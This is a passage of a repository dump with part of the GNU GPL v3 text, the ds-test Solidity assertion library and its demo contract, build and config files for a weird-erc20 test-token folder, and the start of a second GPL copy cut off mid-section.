specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
Copyright (C)
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/Makefile
================================================
all:; dapp build
test:
-dapp --use solc:0.4.23 build
-dapp --use solc:0.4.26 build
-dapp --use solc:0.5.17 build
-dapp --use solc:0.6.12 build
-dapp --use solc:0.7.5 build
demo:
DAPP_SRC=demo dapp --use solc:0.7.5 build
-hevm dapp-test --verbose 3
.PHONY: test demo
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/default.nix
================================================
{ solidityPackage, dappsys }: solidityPackage {
name = "ds-test";
src = ./src;
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/demo/demo.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.4.23;
import "../src/test.sol";
contract DemoTest is DSTest {
function test_this() public pure {
require(true);
}
function test_logs() public {
emit log("-- log(string)");
emit log("a string");
emit log("-- log_named_uint(string, uint)");
log_named_uint("uint", 512);
emit log("-- log_named_int(string, int)");
log_named_int("int", -512);
emit log("-- log_named_address(string, address)");
log_named_address("address", address(this));
emit log("-- log_named_bytes32(string, bytes32)");
log_named_bytes32("bytes32", "a string");
emit log("-- log_named_bytes(string, bytes)");
log_named_bytes("bytes", hex"cafefe");
emit log("-- log_named_string(string, string)");
log_named_string("string", "a string");
emit log("-- log_named_decimal_uint(string, uint, uint)");
log_named_decimal_uint("decimal uint", 1.0e18, 18);
emit log("-- log_named_decimal_int(string, int, uint)");
log_named_decimal_int("decimal int", -1.0e18, 18);
}
event log_old_named_uint(bytes32,uint);
function test_old_logs() public {
log_old_named_uint("key", 500);
log_named_bytes32("bkey", "val");
}
function test_trace() public view {
this.echo("string 1", "string 2");
}
function test_multiline() public {
emit log("a multiline\\n" "string");
emit log("a multiline " "string");
log_bytes("a string");
log_bytes("a multiline\n" "string");
log_bytes("a multiline\\n" "string");
emit log(unicode"Ώ");
logs(hex"0000");
log_named_bytes("0x0000", hex"0000");
logs(hex"ff");
}
function echo(string memory s1, string memory s2) public pure
returns (string memory, string memory)
{
return (s1, s2);
}
function prove_this(uint x) public {
log_named_uint("sym x", x);
assertGt(x + 1, 0);
}
function test_logn() public {
assembly {
log0(0x01, 0x02)
log1(0x01, 0x02, 0x03)
log2(0x01, 0x02, 0x03, 0x04)
log3(0x01, 0x02, 0x03, 0x04, 0x05)
}
}
event MyEvent(uint, uint indexed, uint, uint indexed);
function test_events() public {
emit MyEvent(1, 2, 3, 4);
}
function test_asserts() public {
string memory err = "this test has failed!";
emit log("## assertTrue(bool)\n");
assertTrue(false);
emit log("\n");
assertTrue(false, err);
emit log("\n## assertEq(address,address)\n");
assertEq(address(this), msg.sender);
emit log("\n");
assertEq(address(this), msg.sender, err);
emit log("\n## assertEq32(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(bytes32,bytes32)\n");
assertEq32("bytes 1", "bytes 2");
emit log("\n");
assertEq32("bytes 1", "bytes 2", err);
emit log("\n## assertEq(uint,uint)\n");
assertEq(uint(0), 1);
emit log("\n");
assertEq(uint(0), 1, err);
emit log("\n## assertEq(int,int)\n");
assertEq(-1, -2);
emit log("\n");
assertEq(-1, -2, err);
emit log("\n## assertEqDecimal(int,int,uint)\n");
assertEqDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertEqDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertEqDecimal(uint,uint,uint)\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertEqDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGt(uint,uint)\n");
assertGt(uint(0), 0);
emit log("\n");
assertGt(uint(0), 0, err);
emit log("\n## assertGt(int,int)\n");
assertGt(-1, -1);
emit log("\n");
assertGt(-1, -1, err);
emit log("\n## assertGtDecimal(int,int,uint)\n");
assertGtDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGtDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGtDecimal(uint,uint,uint)\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGtDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertGe(uint,uint)\n");
assertGe(uint(0), 1);
emit log("\n");
assertGe(uint(0), 1, err);
emit log("\n## assertGe(int,int)\n");
assertGe(-1, 0);
emit log("\n");
assertGe(-1, 0, err);
emit log("\n## assertGeDecimal(int,int,uint)\n");
assertGeDecimal(-2.0e18, -1.1e18, 18);
emit log("\n");
assertGeDecimal(-2.0e18, -1.1e18, 18, err);
emit log("\n## assertGeDecimal(uint,uint,uint)\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18);
emit log("\n");
assertGeDecimal(uint(1.0e18), 1.1e18, 18, err);
emit log("\n## assertLt(uint,uint)\n");
assertLt(uint(0), 0);
emit log("\n");
assertLt(uint(0), 0, err);
emit log("\n## assertLt(int,int)\n");
assertLt(-1, -1);
emit log("\n");
assertLt(-1, -1, err);
emit log("\n## assertLtDecimal(int,int,uint)\n");
assertLtDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLtDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLtDecimal(uint,uint,uint)\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLtDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertLe(uint,uint)\n");
assertLe(uint(1), 0);
emit log("\n");
assertLe(uint(1), 0, err);
emit log("\n## assertLe(int,int)\n");
assertLe(0, -1);
emit log("\n");
assertLe(0, -1, err);
emit log("\n## assertLeDecimal(int,int,uint)\n");
assertLeDecimal(-1.0e18, -1.1e18, 18);
emit log("\n");
assertLeDecimal(-1.0e18, -1.1e18, 18, err);
emit log("\n## assertLeDecimal(uint,uint,uint)\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18);
emit log("\n");
assertLeDecimal(uint(2.0e18), 1.1e18, 18, err);
emit log("\n## assertEq(string,string)\n");
string memory s1 = "string 1";
string memory s2 = "string 2";
assertEq(s1, s2);
emit log("\n");
assertEq(s1, s2, err);
emit log("\n## assertEq0(bytes,bytes)\n");
assertEq0(hex"abcdef01", hex"abcdef02");
log("\n");
assertEq0(hex"abcdef01", hex"abcdef02", err);
}
}
contract DemoTestWithSetUp {
function setUp() public {
}
function test_pass() public pure {
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/ds-test/src/test.sol
================================================
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see .
pragma solidity >=0.4.23;
contract DSTest {
event log (string);
event logs (bytes);
event log_address (address);
event log_bytes32 (bytes32);
event log_int (int);
event log_uint (uint);
event log_bytes (bytes);
event log_string (string);
event log_named_address (string key, address val);
event log_named_bytes32 (string key, bytes32 val);
event log_named_decimal_int (string key, int val, uint decimals);
event log_named_decimal_uint (string key, uint val, uint decimals);
event log_named_int (string key, int val);
event log_named_uint (string key, uint val);
event log_named_bytes (string key, bytes val);
event log_named_string (string key, string val);
bool public IS_TEST = true;
bool public failed;
address constant HEVM_ADDRESS =
address(bytes20(uint160(uint256(keccak256('hevm cheat code')))));
modifier mayRevert() { _; }
modifier testopts(string memory) { _; }
function fail() internal {
failed = true;
}
modifier logs_gas() {
uint startGas = gasleft();
_;
uint endGas = gasleft();
emit log_named_uint("gas", startGas - endGas);
}
function assertTrue(bool condition) internal {
if (!condition) {
emit log("Error: Assertion Failed");
fail();
}
}
function assertTrue(bool condition, string memory err) internal {
if (!condition) {
emit log_named_string("Error", err);
assertTrue(condition);
}
}
function assertEq(address a, address b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [address]");
emit log_named_address(" Expected", b);
emit log_named_address(" Actual", a);
fail();
}
}
function assertEq(address a, address b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq(bytes32 a, bytes32 b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [bytes32]");
emit log_named_bytes32(" Expected", b);
emit log_named_bytes32(" Actual", a);
fail();
}
}
function assertEq(bytes32 a, bytes32 b, string memory err) internal {
if (a != b) {
emit log_named_string ("Error", err);
assertEq(a, b);
}
}
function assertEq32(bytes32 a, bytes32 b) internal {
assertEq(a, b);
}
function assertEq32(bytes32 a, bytes32 b, string memory err) internal {
assertEq(a, b, err);
}
function assertEq(int a, int b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [int]");
emit log_named_int(" Expected", b);
emit log_named_int(" Actual", a);
fail();
}
}
function assertEq(int a, int b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEq(uint a, uint b) internal {
if (a != b) {
emit log("Error: a == b not satisfied [uint]");
emit log_named_uint(" Expected", b);
emit log_named_uint(" Actual", a);
fail();
}
}
function assertEq(uint a, uint b, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function assertEqDecimal(int a, int b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal int]");
emit log_named_decimal_int(" Expected", b, decimals);
emit log_named_decimal_int(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(int a, int b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertEqDecimal(uint a, uint b, uint decimals) internal {
if (a != b) {
emit log("Error: a == b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Expected", b, decimals);
emit log_named_decimal_uint(" Actual", a, decimals);
fail();
}
}
function assertEqDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a != b) {
emit log_named_string("Error", err);
assertEqDecimal(a, b, decimals);
}
}
function assertGt(uint a, uint b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGt(uint a, uint b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGt(int a, int b) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGt(int a, int b, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGt(a, b);
}
}
function assertGtDecimal(int a, int b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGtDecimal(uint a, uint b, uint decimals) internal {
if (a <= b) {
emit log("Error: a > b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a <= b) {
emit log_named_string("Error", err);
assertGtDecimal(a, b, decimals);
}
}
function assertGe(uint a, uint b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertGe(uint a, uint b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGe(int a, int b) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertGe(int a, int b, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGe(a, b);
}
}
function assertGeDecimal(int a, int b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertGeDecimal(uint a, uint b, uint decimals) internal {
if (a < b) {
emit log("Error: a >= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertGeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a < b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertLt(uint a, uint b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLt(uint a, uint b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLt(int a, int b) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLt(int a, int b, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLt(a, b);
}
}
function assertLtDecimal(int a, int b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(int a, int b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLtDecimal(uint a, uint b, uint decimals) internal {
if (a >= b) {
emit log("Error: a < b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLtDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a >= b) {
emit log_named_string("Error", err);
assertLtDecimal(a, b, decimals);
}
}
function assertLe(uint a, uint b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [uint]");
emit log_named_uint(" Value a", a);
emit log_named_uint(" Value b", b);
fail();
}
}
function assertLe(uint a, uint b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLe(int a, int b) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [int]");
emit log_named_int(" Value a", a);
emit log_named_int(" Value b", b);
fail();
}
}
function assertLe(int a, int b, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLe(a, b);
}
}
function assertLeDecimal(int a, int b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal int]");
emit log_named_decimal_int(" Value a", a, decimals);
emit log_named_decimal_int(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(int a, int b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertLeDecimal(a, b, decimals);
}
}
function assertLeDecimal(uint a, uint b, uint decimals) internal {
if (a > b) {
emit log("Error: a <= b not satisfied [decimal uint]");
emit log_named_decimal_uint(" Value a", a, decimals);
emit log_named_decimal_uint(" Value b", b, decimals);
fail();
}
}
function assertLeDecimal(uint a, uint b, uint decimals, string memory err) internal {
if (a > b) {
emit log_named_string("Error", err);
assertGeDecimal(a, b, decimals);
}
}
function assertEq(string memory a, string memory b) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log("Error: a == b not satisfied [string]");
emit log_named_string(" Value a", a);
emit log_named_string(" Value b", b);
fail();
}
}
function assertEq(string memory a, string memory b, string memory err) internal {
if (keccak256(abi.encodePacked(a)) != keccak256(abi.encodePacked(b))) {
emit log_named_string("Error", err);
assertEq(a, b);
}
}
function checkEq0(bytes memory a, bytes memory b) internal pure returns (bool ok) {
ok = true;
if (a.length == b.length) {
for (uint i = 0; i < a.length; i++) {
if (a[i] != b[i]) {
ok = false;
}
}
} else {
ok = false;
}
}
function assertEq0(bytes memory a, bytes memory b) internal {
if (!checkEq0(a, b)) {
emit log("Error: a == b not satisfied [bytes]");
emit log_named_bytes(" Expected", a);
emit log_named_bytes(" Actual", b);
fail();
}
}
function assertEq0(bytes memory a, bytes memory b, string memory err) internal {
if (!checkEq0(a, b)) {
emit log_named_string("Error", err);
assertEq0(a, b);
}
}
}
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.envrc
================================================
eval "$(lorri direnv)"
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitattributes
================================================
*.sol linguist-language=Solidity
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitignore
================================================
/out
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/.gitmodules
================================================
[submodule "lib/ds-test"]
path = lib/ds-test
url = https://github.com/dapphub/ds-test
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/Makefile
================================================
build:
export DAPP_SOLC=solc-0.6.12; dapp build
export DAPP_SOLC=solc-0.7.6; dapp build
export DAPP_SOLC=solc-0.8.6; dapp build
test:
DAPP_SOLC=solc-0.8.6; dapp test
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/.gitignore
================================================
/.dapple
/build
/out
================================================
FILE: 2022/submissions_2022/submission3_LeoAlt/lib/solmate/lib/weird-erc20/lib/ds-test/LICENSE
================================================
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc.
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
